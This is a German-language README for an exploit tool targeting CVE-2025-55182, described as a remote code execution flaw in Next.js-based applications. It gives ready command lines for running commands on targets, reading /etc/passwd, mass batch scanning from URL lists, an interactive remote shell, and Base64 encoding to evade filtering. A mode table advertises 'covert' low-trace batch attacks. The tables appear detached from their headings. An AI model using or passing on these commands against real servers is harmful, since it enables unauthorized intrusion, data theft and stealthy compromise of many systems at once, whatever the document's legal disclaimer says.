CVE-2025-55182 Exploit-Tool

Tool-Beschreibung

Dieses Tool dient zur Erkennung und Ausnutzung der CVE-2025-55182-Sicherheitslücke (vermutlich eine Code-Ausführungslücke in Next.js-basierten Frameworks). Es unterstützt Einzel-/Mehrziel-Batch-Scans, Befehlsausführung, interaktive Shell und bietet 4 Angriffsmodi für verschiedene Szenarien. Flexible Konfigurationen wie Base64-codierte Befehle, Proxy-Weiterleitung und Log-Ausgabe sind verfügbar.

Schwachstellenbeschreibung

Die Schwachstelle CVE-2025-55182 könnte in Next.js-basierten Anwendungen existieren. Durch das Erstellen einer bösartigen Anfrage wird die Ausführungslogik in _response manipuliert, um das child_process-Modul zu injizieren und so eine Remote-Code-Ausführung (RCE) zu ermöglichen. Das Tool sendet speziell gestaltete Formulardaten, löst die Schwachstelle aus und gibt das Ergebnis der Befehlsausführung zurück.

Systemanforderungen

Python 3.7+
Abhängigkeit: requests
Installation der Abhängigkeit:
- ```
pip install requests
```

Grundlegende Verwendung

1. Einzelziel-Befehlsausführung (Standard-Angriffsmodus)

# Führe den Befehl whoami aus (Angriffsmodus 1: mit Antwort)
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami"

# Führe Systembefehl aus (Base64-codiert, um Sonderzeichenabfang zu vermeiden)
python CVE-2025-55182-exploit.py -u https://target.com -c "cat /etc/passwd" -b

# Vollständiger Antwortmodus (Base64-decodierte Ergebnisausgabe)
python CVE-2025-55182-exploit.py -u https://target.com -c "ipconfig" -p 4

2. Batch-Scan für mehrere Ziele

# Lese Ziel-URLs aus Datei, führe den Befehl id aus (20 Threads)
python CVE-2025-55182-exploit.py -l targets.txt -c "id" -t 20 -o result.log

3. Interaktiver Shell-Modus

# Verbinde mit Ziel und wechsle in interaktive Befehlszeile (Unterstützung für Base64-Umschaltung)
python CVE-2025-55182-exploit.py -u https://target.com -s

4. Proxy-Modus (Paketanalyse/Verkehrsumleitung)

# Packetanalyse über Burp Suite Proxy
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami" --proxy http://127.0.0.1:8080

Parameterbeschreibung

Angriffsmodi im Detail

Interaktive Shell-Befehle

Nach Eintritt in den -s-Modus werden folgende integrierte Befehle unterstützt:

Befehl	Funktionsbeschreibung
`b64`	Wechsel in Base64-codierten Befehlsmodus
`nob64`	Base64-Codierung beenden

Ausgabeerklärung

Konsolenausgabe: Enthält Ausführungszeit, Ziel-URL, Antwortstatuscode, Befehlsergebnis und andere Schlüsselinformationen;
Log-Datei: Alle Ausführungsprotokolle (erfolgreich/fehlgeschlagen) werden automatisch in die mit --outlog angegebene Datei geschrieben, für spätere Analyse;
Erfolgsliste: Nach Batch-Scan werden automatisch Ziele mit Schwachstelle (Statuscode 303/500) zusammengefasst.

Hinweise

Rechtmäßige Autorisierung: Vor der Nutzung dieses Tools muss die rechtmäßige Autorisierung des Zielsystems eingeholt werden. Nicht autorisierte Penetrationstests sind strengstens untersagt.
Parameter-Ausschluss:
1. -u und -l schließen sich aus; bei gleichzeitiger Angabe wird -u bevorzugt.
2. -c und -s schließen sich aus; im -s-Modus ist -c nicht erforderlich.
URL-Format:
1. Falls URLs in der -l-Datei kein Protokoll haben (z.B. target.com), versucht das Tool automatisch http:// und https://.
2. Es wird empfohlen, vollständige URLs manuell anzugeben (z.B. https://target.com), um unnötige Verbindungsfehler zu vermeiden.

Häufige Probleme

„Proxy not available“: Proxy nicht erreichbar. Überprüfen Sie die Proxy-Adresse oder verwenden Sie --skip-check, um die Prüfung zu überspringen.
Befehlsausführung ohne Ergebnis:
1. Versuchen Sie, den Angriffsmodus zu wechseln (z.B. -p 4 vollständiger Antwortmodus).
2. Aktivieren Sie Base64-Codierung (-b), um ein Abfangen des Befehls durch das Zielsystem zu vermeiden.
Verbindungstimeout: Überprüfen Sie, ob das Ziel erreichbar ist, oder erhöhen Sie die --time-out-Zeit.
SSL-Handshake-Fehler: Das Ziel unterstützt kein HTTPS. Versuchen Sie HTTP (z.B. http://target.com).

Haftungsausschluss

Dieses Tool dient ausschließlich der Cybersicherheitsforschung und Schwachstellenvalidierung. Der Anwender trägt die alleinige Verantwortung für alle Konsequenzen, die sich aus Verstößen gegen das „Cybersicherheitsgesetz“ oder andere einschlägige Gesetze ergeben. Der Entwickler des Tools übernimmt keine Haftung.

`--url`	`-u`	Nein	Einzelziel-URL (alternativ zu `-l`, Priorität für `-u`)	`-u https://target.com`
`--url-list`	`-l`	Nein	Datei mit Ziel-URLs (eine URL pro Zeile, ohne Protokoll automatisch http/https)	`-l urls.txt`
`--payload`	`-p`	Nein	Angriffsmodus (Standard: 1) 1=mit Antwort (execSync) 2=ohne Antwort (execSync) 3=ohne Antwort (exec)	`-p 2`
`--cmd`	`-c`	Nein	Auszuführender Systembefehl (erforderlich bei Batch/Einzelziel, schließt sich mit `-s` aus)	`-c "whoami"` oder `-c "dir"`
`--threads`	`-t`	Nein	Anzahl Threads für Batch-Scan (Standard: 10, empfohlen ≤50)	`-t 20`
`--outlog`	`-o`	Nein	Log-Datei (Standard: cve-2025-55182.log)	`-o exploit.log`
`--base64`	`-b`	Nein	Base64-Codierung des mit `-c` angegebenen Befehls (vermeidet Sonderzeichenabfang)	`-c "cat /etc/passwd" -b`
`--cmd-shell`	`-s`	Nein	Interaktiver Shell-Modus (nur mit `-u`, schließt sich mit `-c` aus)	`-u https://target.com -s`
`--proxy`	-	Nein	Proxy-Konfiguration (HTTP/HTTPS für Paketanalyse oder Verkehrsumleitung)	`--proxy http://127.0.0.1:8080`
`--skip-check`	-	Nein	Überspringt Proxy-Verfügbarkeitsprüfung (standardmäßig wird Proxy geprüft)	`--proxy http://127.0.0.1:8080 --skip-check`
`--time-out`	-	Nein	Request-Timeout in Sekunden (Standard: 10)	`--time-out 15`

1	Mit Antwort (execSync)	Synchroner Befehl, liefert 303-Weiterleitung, Ergebnis im Antwort-Header	Schnelle Überprüfung auf Existenz der Schwachstelle
2	Ohne Antwort (execSync)	Synchroner Befehl, kein Ergebnis (Ausführung muss anderweitig bestätigt werden)	Verdeckte Ausführung
3	Ohne Antwort (exec)	Asynchroner Befehl, kein Ergebnis (geringe Spuren, geeignet für Operationen ohne Bestätigung)	Verdeckter Batch-Angriff
4	Vollständige Antwort	Synchroner Befehl, Ergebnis Base64-codiert im Antwort-Body (Tool decodiert automatisch)	Szenarien, bei denen vollständige Ausgabe benötigt wird

CVE-2025-55182-EXP

Beliebteste